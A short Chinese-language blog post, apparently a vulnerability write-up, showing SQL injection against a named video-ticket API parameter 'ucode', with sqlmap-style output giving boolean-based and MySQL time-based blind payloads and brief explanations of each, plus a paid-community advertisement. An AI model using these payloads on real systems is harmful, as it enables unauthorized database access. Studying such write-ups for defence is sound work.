一个典型的sqli
原创
whoami
whoami
迪哥讲事
2026年6月10日 11:00
四川
在小说阅读器读本章
去阅读
正文
一个典型的sqli
payload如下:
http://ticketapi.video.qq.com/get_bonus?otype=json&callback=jQuery19102120662210509181_1450691532464&low_login=1&c_id=1&ucode=asd&c_from=1&g_tk=932252050&_=1450691532477
漏洞证明：
---
Parameter: ucode (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: otype=json&callback=jQuery19102120662210509181_1450691532464&low_login=1&c_id=1&ucode=-5562' OR 5712=5712 AND 'qIqO'='qIqO&c_from=1&g_tk=932252050&_=1450691532477
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: otype=json&callback=jQuery19102120662210509181_1450691532464&low_login=1&c_id=1&ucode=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))yOGi) AND 'WuPe'='WuPe&c_from=1&g_tk=932252050&_=1450691532477
~
这里采用了两种注入方式:
注入类型：
1.布尔盲注
ucode=-5562' OR 5712=5712 AND 'qIqO'='qIqO 说明服务端把 ucode 拼接进 SQL 字符串，攻击者可改变 WHERE/HAVING 判断逻辑。
2.时间盲注
ucode=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))yOGi) AND 'WuPe'='WuPe 说明即使页面无明显回显，也能通过响应延迟逐步枚举数据库信息。
请注意这里的时间盲注,这里采用的是嵌入式的语句
如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款
往期回顾
如何利用ai辅助挖漏洞
如何在移动端抓包-下
如何绕过签名校验
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论